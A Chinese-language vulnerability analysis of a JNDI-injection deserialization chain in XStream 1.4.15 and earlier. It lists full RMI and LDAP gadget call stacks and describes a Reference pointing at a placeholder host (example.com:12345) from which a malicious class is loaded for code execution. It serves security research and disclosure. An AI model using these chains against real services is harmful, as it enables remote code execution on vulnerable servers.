XStream<=1.4.15 JNDI注入

漏洞复现证明截图

1.png

影响范围

XStream<=1.4.15

漏洞分析

年前找的一个链,前天害怕被撞就交了,结果今天就发了补丁,不过修的几个链跟我找的sink点和触发toString点都不一样,在这里给大家分享出来。
其他爆出的几个链可以在 http://x-stream.github.io/changes.html 上查看poc

回顾下CVE-2020-26217的调用栈

com.thoughtworks.xstream.converters.collections.MapConverter#putCurrentEntryIntoMap
    java.util.HashMap#put
        java.util.HashMap#hash
            jdk.nashorn.internal.objects.NativeString#hashCode
                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                    com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                        java.io.SequenceInputStream#read(byte[], int, int)
                        java.io.SequenceInputStream#nextStream
                            javax.swing.MultiUIDefaults.MultiUIDefaultsEnumerator#nextElement
                                javax.imageio.spi.FilterIterator#next
                                javax.imageio.spi.FilterIterator#advance
                                    javax.imageio.ImageIO.ContainsFilter#filter
                                        java.lang.ProcessBuilder#start

hashcode()->toString() 的入口 jdk.nashorn.internal.objects.NativeString 和 sink点 javax.imageio.ImageIO$ContainsFilter 都被加入到了黑名单中。

不过我们可以复用 java.io.SequenceInputStream#nextStream 去找新的sink点。

2.png

RMI

com.sun.jndi.rmi.registry.BindingEnumeration

3.png

ctxvar2 我们都可控,因此这里可以进行JNDI注入。不过 ctxcom.sun.jndi.rmi.registry.RegistryContext 类型的,我们只能打rmi的JNDI注入,继续找找看有没有ldap的。

4.png

LDAP

com.sun.jndi.ldap.LdapBindingEnumeration#createItem
5.png

DirectoryManager.getObjectInstance 可以通过传入 Reference 对象来加载恶意class,var6、this.homeCtx、this.homeCtx.envprops、var2 我们都可控,回溯一下var4。

6.png

跟进 decodeReference,由于 decodeObject 中的 var0 我们可控,最终可以让代码进入到 decodeReference 方法中,且 new Reference 的所有参数都可控,构造 new Reference("refClassName", "factoryClassName", "http://example.com:12345/") 传入 DirectoryManager.getObjectInstance 即可加载 [http://example.com:12345/](http://example.com:12345/) 上名为 factoryClassName.class 的类,将恶意代码放入static代码块即可任意代码执行。

7.png

com.sun.jndi.ldap.LdapBindingEnumeration 直接传过去会出现 this.data 不为null的情况,所以我用了 com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl 来间接调用 LdapBindingEnumeration#next 方法。

8.png

触发toString()

然后还有 toString 的入口,找了一圈所有类的 hashcode() 方法也没有找到能够触发 toString 的类,由于 SerializableConverter 支持调用 readObject 方法,前提是该类实现了 java.io.Serializable 接口(类的属性没有实现该接口依然可以被正常赋值),并且没有被之前的转换器捕获到,因此我们可以找找所有类的 readObject 方法。
9.png

比较常用的是 javax.management.BadAttributeValueExpException#readObject ,但是该类继承了 Throwable ,会被 ThrowableConverter 补货到,无法被 SerializableConverter 解析。

10.png
因此我们需要找一个新的类,我找到了一条可以用于Java原生反序列化触发 toString() 的链,这里暂不公开,下面是公开的几个CVE中用到的 toString 链。

java.util.PriorityQueue#readObject
        ->java.util.PriorityQueue#heapify
                ->java.util.PriorityQueue#siftDown
                        ->java.util.PriorityQueue#siftDownUsingComparator
                              ->javafx.collections.ObservableList#sorted()#compare()

11.png

不过这个链只能用在XStream中而不能用在Java原生反序列化中的,因为 javafx.collections.ObservableList 没有实现序列化接口。
调用栈
RMI

java.util.PriorityQueue#readObject
    java.util.PriorityQueue#heapify
        java.util.PriorityQueue#siftDown
            java.util.PriorityQueue#siftDownUsingComparator
              javafx.collections.ObservableList#sorted()#compare()
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                      java.io.SequenceInputStream#read(byte[], int, int)
                      java.io.SequenceInputStream#nextStream
                          com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
                              com.sun.jndi.rmi.registry.BindingEnumeration#next
                                  RegistryContext.lookup

Ldap

java.util.PriorityQueue#readObject
    java.util.PriorityQueue#heapify
        java.util.PriorityQueue#siftDown
            java.util.PriorityQueue#siftDownUsingComparator
              javafx.collections.ObservableList#sorted()#compare()
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#toString
                  com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data#get
                  com.sun.xml.internal.bind.v2.util.ByteArrayOutputStreamEx#readFrom
                     java.io.SequenceInputStream#read(byte[], int, int)
                     java.io.SequenceInputStream#nextStream
                         com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl#nextElement
                             com.sun.jndi.ldap.AbstractLdapNamingEnumeration#next
                                 com.sun.jndi.ldap.LdapBindingEnumeration#createItem
                                     javax.naming.spi.DirectoryManager#getObjectInstance